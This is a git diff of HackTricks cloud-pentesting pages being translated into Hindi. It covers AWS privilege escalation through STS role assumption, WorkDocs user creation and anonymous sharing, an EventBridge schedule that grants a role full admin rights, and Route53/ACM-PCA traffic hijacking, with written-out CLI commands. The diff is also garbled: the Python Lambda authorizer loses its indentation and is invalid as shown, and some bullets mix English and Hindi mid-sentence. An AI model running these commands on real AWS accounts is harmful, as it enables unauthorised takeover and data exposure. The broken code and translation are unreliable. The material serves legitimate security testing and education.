+"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +किसी भूमिका का अनुकरण करने के लिए क्रेडेंशियल्स उत्पन्न करने के लिए आप सामान्यतः कुछ इस तरह का उपयोग कर सकते हैं: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +लेकिन **प्रदाताओं** के पास इसे आसान बनाने के लिए **अपने उपकरण** हो सकते हैं, जैसे [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**संभावित प्रभाव:** भूमिका के लिए प्रिवेस्क। ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +यह अनुमति उन **उपयोगकर्ताओं** के लिए अस्थायी सुरक्षा क्रेडेंशियल्स प्राप्त करने की अनुमति देती है जो एक वेब पहचान प्रदाता के साथ **मोबाइल, वेब एप्लिकेशन, EKS...** में प्रमाणित किए गए हैं। [यहाँ और जानें।](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +उदाहरण के लिए, यदि एक **EKS सेवा खाता** को **IAM भूमिका का अनुकरण** करने में सक्षम होना चाहिए, तो इसके पास **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** में एक टोकन होगा और यह **भूमिका को ग्रहण कर सकता है और क्रेडेंशियल्स प्राप्त कर सकता है** कुछ इस तरह: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### संघीय दुरुपयोग {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..4284f2b83 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +WorkDocs के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +निर्दिष्ट Directory के अंदर एक उपयोगकर्ता बनाएं, फिर आपके पास WorkDocs और AD दोनों तक पहुंच होगी: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप इसे बस प्रदान कर सकते हैं ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\ +इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें। +उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें। +मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..66eb8544b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +EventBridge Scheduler के बारे में अधिक जानकारी: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +उन अनुमतियों के साथ एक हमलावर **`create`|`update` एक शेड्यूलर कर सकेगा और उस पर जुड़े शेड्यूलर भूमिका की अनुमतियों का दुरुपयोग कर सकेगा** किसी भी क्रिया को करने के लिए +उदाहरण के लिए, वे शेड्यूल को **एक Lambda फ़ंक्शन को कॉल करने के लिए कॉन्फ़िगर कर सकते हैं** जो एक टेम्पलेटेड क्रिया है: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +EventBridge Scheduler में टेम्पलेटेड सेवा क्रियाओं के अलावा, आप कई AWS सेवाओं के लिए API संचालन को सक्रिय करने के लिए **universal targets** का उपयोग कर सकते हैं। Universal targets लगभग किसी भी API को सक्रिय करने के लिए लचीलापन प्रदान करते हैं। एक उदाहरण यह हो सकता है कि universal targets का उपयोग करते हुए "**AdminAccessPolicy**" जोड़ना, एक भूमिका का उपयोग करते हुए जिसमें "**putRolePolicy**" नीति है: ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## संदर्भ - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..092aaaeba 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Route53 के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> इस हमले को करने के लिए लक्षित खाते में पहले से एक [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** सेटअप होना चाहिए, और VPC(s) में EC2 इंस्टेंस को इसे भरोसा करने के लिए प्रमाणपत्र आयात करना चाहिए। इस बुनियादी ढांचे के साथ, AWS API ट्रैफ़िक को इंटरसेप्ट करने के लिए निम्नलिखित हमला किया जा सकता है। -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +अन्य अनुमतियाँ **enumeration** भाग के लिए अनुशंसित हैं लेकिन आवश्यक नहीं हैं: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +मान लीजिए कि एक AWS VPC है जिसमें कई क्लाउड-नेटिव एप्लिकेशन एक-दूसरे और AWS API से बात कर रहे हैं। चूंकि माइक्रोसर्विसेज के बीच संचार अक्सर TLS एन्क्रिप्टेड होता है, इसलिए उन सेवाओं के लिए वैध प्रमाणपत्र जारी करने के लिए एक निजी CA होना चाहिए। **यदि ACM-PCA का उपयोग किया जाता है** और प्रतिकूलता **route53 और acm-pca निजी CA दोनों को नियंत्रित करने के लिए पहुंच प्राप्त कर लेती है** तो ऊपर वर्णित न्यूनतम अनुमतियों के साथ, यह **AWS API के लिए एप्लिकेशन कॉल को हाईजैक कर सकती है** और उनके IAM अनुमतियों पर नियंत्रण प्राप्त कर सकती है। -This is possible because: +यह संभव है क्योंकि: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- AWS SDKs में [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) नहीं है +- Route53 AWS APIs डोमेन नामों के लिए प्राइवेट होस्टेड ज़ोन और DNS रिकॉर्ड बनाने की अनुमति देता है +- ACM-PCA में प्राइवेट CA को केवल विशिष्ट कॉमन नामों के लिए प्रमाणपत्र पर हस्ताक्षर करने के लिए प्रतिबंधित नहीं किया जा सकता -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**संभावित प्रभाव:** ट्रैफ़िक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिवेस्क। #### Exploitation -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +मूल शोध में शोषण के चरण खोजें: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..64b4dfc6e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -8,20 +8,20 @@ Services that fall under container services have the following characteristics: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. +- The service itself runs on **अलग बुनियादी ढांचे के उदाहरण**, such as EC2. +- **AWS** is responsible for **ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म का प्रबंधन**. +- A managed service is provided by AWS, which is typically the service itself for the **वास्तविक अनुप्रयोग जो कंटेनरों के रूप में देखे जाते हैं**. +- As a user of these container services, you have a number of management and security responsibilities, including **नेटवर्क एक्सेस सुरक्षा का प्रबंधन, जैसे नेटवर्क एक्सेस नियंत्रण सूची नियम और कोई भी फ़ायरवॉल**. - Also, platform-level identity and access management where it exists. - **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. ### Abstract Services -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. +- These services are **प्लेटफ़ॉर्म या प्रबंधन परत से हटा हुआ, अमूर्त, जिस पर क्लाउड अनुप्रयोग बनाए जाते हैं**. - The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. +- The **नीचे का बुनियादी ढांचा, ऑपरेटिंग सिस्टम, और प्लेटफ़ॉर्म का प्रबंधन AWS द्वारा किया जाता है**. - The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. +- **डेटा सुरक्षा तंत्र के माध्यम से अलग किया जाता है**. - Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. ## Services Enumeration @@ -29,7 +29,3 @@ Services that fall under container services have the following characteristics: **The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..8ee461dec 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,38 +6,37 @@ ### Basic Information -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway एक व्यापक सेवा है जो Amazon Web Services (AWS) द्वारा पेश की गई है, जिसे डेवलपर्स को **बड़े पैमाने पर APIs बनाने, प्रकाशित करने और देखरेख करने** के लिए डिज़ाइन किया गया है। यह एक एप्लिकेशन के लिए एक प्रवेश बिंदु के रूप में कार्य करता है, जिससे डेवलपर्स को नियमों और प्रक्रियाओं का एक ढांचा स्थापित करने की अनुमति मिलती है। यह ढांचा बाहरी उपयोगकर्ताओं को एप्लिकेशन के भीतर कुछ डेटा या कार्यक्षमताओं तक पहुँचने को नियंत्रित करता है। -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway आपको **यह परिभाषित करने की अनुमति देता है कि आपके APIs के लिए अनुरोधों को कैसे संभाला जाना चाहिए**, और यह विशिष्ट विधियों (जैसे, GET, POST, PUT, DELETE) और संसाधनों के साथ कस्टम API एंडपॉइंट बनाने में सक्षम है। यह डेवलपर्स के लिए आपके APIs को उनके एप्लिकेशनों से कॉल करना आसान बनाने के लिए क्लाइंट SDKs (सॉफ़्टवेयर विकास किट) भी उत्पन्न कर सकता है। ### API Gateways Types -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: OIDC और OAuth2 जैसी अंतर्निहित सुविधाओं के साथ कम विलंबता और लागत प्रभावी REST APIs बनाएं, और मूल CORS समर्थन। निम्नलिखित के साथ काम करता है: Lambda, HTTP बैकएंड। +- **WebSocket API**: चैट एप्लिकेशन या डैशबोर्ड जैसे वास्तविक समय के उपयोग के मामलों के लिए स्थायी कनेक्शनों का उपयोग करके एक WebSocket API बनाएं। निम्नलिखित के साथ काम करता है: Lambda, HTTP, AWS सेवाएँ। +- **REST API**: एक REST API विकसित करें जहाँ आप अनुरोध और प्रतिक्रिया पर पूर्ण नियंत्रण प्राप्त करते हैं साथ ही API प्रबंधन क्षमताएँ। निम्नलिखित के साथ काम करता है: Lambda, HTTP, AWS सेवाएँ। +- **REST API Private**: एक REST API बनाएं जो केवल एक VPC के भीतर से सुलभ हो। ### API Gateway Main Components -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Resources**: API Gateway में, संसाधन वे घटक हैं जो **आपके API की संरचना बनाते हैं**। वे **आपके API के विभिन्न पथों या एंडपॉइंट्स** का प्रतिनिधित्व करते हैं और आपके API द्वारा समर्थित विभिन्न क्रियाओं के अनुरूप होते हैं। एक संसाधन प्रत्येक विधि है (जैसे, GET, POST, PUT, DELETE) **प्रत्येक पथ के भीतर** (/, या /users, या /user/{id}). +2. **Stages**: API Gateway में स्टेज आपके API के **विभिन्न संस्करणों या वातावरणों** का प्रतिनिधित्व करते हैं, जैसे विकास, स्टेजिंग, या उत्पादन। आप स्टेज का उपयोग करके **आपके API के कई संस्करणों का प्रबंधन और तैनाती** कर सकते हैं, जिससे आप नए फीचर्स या बग फिक्स का परीक्षण कर सकते हैं बिना उत्पादन वातावरण को प्रभावित किए। स्टेज **स्टेज वेरिएबल्स** का भी समर्थन करते हैं, जो कुंजी-मूल्य जोड़े होते हैं जिन्हें वर्तमान स्टेज के आधार पर आपके API के व्यवहार को कॉन्फ़िगर करने के लिए उपयोग किया जा सकता है। उदाहरण के लिए, आप स्टेज वेरिएबल्स का उपयोग API अनुरोधों को विभिन्न Lambda कार्यों या अन्य बैकएंड सेवाओं की ओर निर्देशित करने के लिए कर सकते हैं। +- स्टेज API Gateway एंडपॉइंट के URL की शुरुआत में संकेतित होता है। +3. **Authorizers**: API Gateway में ऑथराइजर्स आपके API तक पहुँच को **नियंत्रित करने** के लिए जिम्मेदार होते हैं, कॉलर की पहचान को सत्यापित करके अनुरोध को आगे बढ़ाने की अनुमति देने से पहले। आप **AWS Lambda कार्यों** का उपयोग कस्टम ऑथराइजर्स के रूप में कर सकते हैं, जो आपको अपनी स्वयं की प्रमाणीकरण और प्राधिकरण लॉजिक लागू करने की अनुमति देता है। जब एक अनुरोध आता है, API Gateway अनुरोध के प्रमाणीकरण टोकन को Lambda ऑथराइज़र को पास करता है, जो टोकन को संसाधित करता है और एक IAM नीति लौटाता है जो निर्धारित करती है कि कॉलर को कौन सी क्रियाएँ करने की अनुमति है। API Gateway **निर्मित ऑथराइजर्स** का भी समर्थन करता है, जैसे **AWS पहचान और पहुँच प्रबंधन (IAM)** और **Amazon Cognito**। +4. **Resource Policy**: API Gateway में एक संसाधन नीति एक JSON दस्तावेज़ है जो **आपके API तक पहुँचने के लिए अनुमतियों को परिभाषित करता है**। यह एक IAM नीति के समान है लेकिन विशेष रूप से API Gateway के लिए तैयार की गई है। आप एक संसाधन नीति का उपयोग यह नियंत्रित करने के लिए कर सकते हैं कि कौन आपके API तक पहुँच सकता है, वे कौन सी विधियाँ कॉल कर सकते हैं, और वे किन IP पते या VPCs से कनेक्ट कर सकते हैं। **संसाधन नीतियों का उपयोग ऑथराइजर्स के साथ संयोजन में किया जा सकता है** ताकि आपके API के लिए बारीक पहुँच नियंत्रण प्रदान किया जा सके। +- प्रभाव डालने के लिए API को **संसाधन नीति में संशोधन के बाद फिर से तैनात** करने की आवश्यकता होती है। ### Logging -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +डिफ़ॉल्ट रूप से, **CloudWatch Logs** **बंद** हैं, **Access Logging** **बंद** है, और **X-Ray ट्रेसिंग** भी **बंद** है। ### Enumeration > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> ध्यान दें कि संसाधनों को सूचीबद्ध करने के लिए AWS APIs (**`apigateway`** और **`apigatewayv2`**) में आपको केवल एक अनुमति की आवश्यकता है और केवल पढ़ने की अनुमति जो दी जा सकती है वह है **`apigateway:GET`**, इसके साथ आप **सब कुछ सूचीबद्ध कर सकते हैं।** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## API गेटवे एंडपॉइंट्स तक पहुँचने के लिए विभिन्न प्राधिकरण -### Resource Policy +### संसाधन नीति -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +यह संभव है कि संसाधन नीतियों का उपयोग करके यह परिभाषित किया जा सके कि कौन API एंडपॉइंट्स को कॉल कर सकता है।\ +निम्नलिखित उदाहरण में आप देख सकते हैं कि **संकेतित IP कॉल नहीं कर सकता** एंडपॉइंट `/resource_policy` को GET के माध्यम से।
-### IAM Authorizer +### IAM प्राधिकर्ता -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +यह संभव है कि एक पथ (एक संसाधन) के अंदर एक विधि को कॉल करने के लिए IAM प्रमाणीकरण की आवश्यकता हो।
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +जब यह सेट किया जाता है, तो आप जब किसी भी प्राधिकरण के बिना एंडपॉइंट तक पहुँचने की कोशिश करते हैं, तो आपको त्रुटि `{"message":"Missing Authentication Token"}` प्राप्त होगी। +ऐप द्वारा अपेक्षित टोकन उत्पन्न करने का एक आसान तरीका **curl** का उपयोग करना है। ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +एक और तरीका है कि **Postman** के अंदर **`Authorization`** प्रकार **`AWS Signature`** का उपयोग करें।
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +जिस खाते का आप उपयोग करना चाहते हैं, उसका accessKey और SecretKey सेट करें और आप API endpoint के खिलाफ प्रमाणित कर सकते हैं। +दोनों विधियाँ एक **Authorization** **header** उत्पन्न करेंगी जैसे: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +ध्यान दें कि अन्य मामलों में **Authorizer** को **खराब कोडित** किया गया हो सकता है और **Authorization header** के अंदर **कुछ भी** भेजने से **छिपी हुई सामग्री** को **देखने की अनुमति** मिलेगी। ### Request Signing Using Python - ```python pip install requests @@ -193,111 +184,104 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` - ### Custom Lambda Authorizer -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +यह संभव है कि एक लैम्ब्डा का उपयोग किया जाए जो एक दिए गए टोकन के आधार पर **IAM नीति** लौटाएगा जो यह दर्शाती है कि क्या उपयोगकर्ता **API एंडपॉइंट को कॉल करने के लिए अधिकृत है**।\ +आप प्रत्येक संसाधन विधि को सेट कर सकते हैं जो लेखक का उपयोग करेगी।
Lambda Authorizer Code Example - ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
-Call it with something like: +इसे कुछ इस तरह कॉल करें:
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 
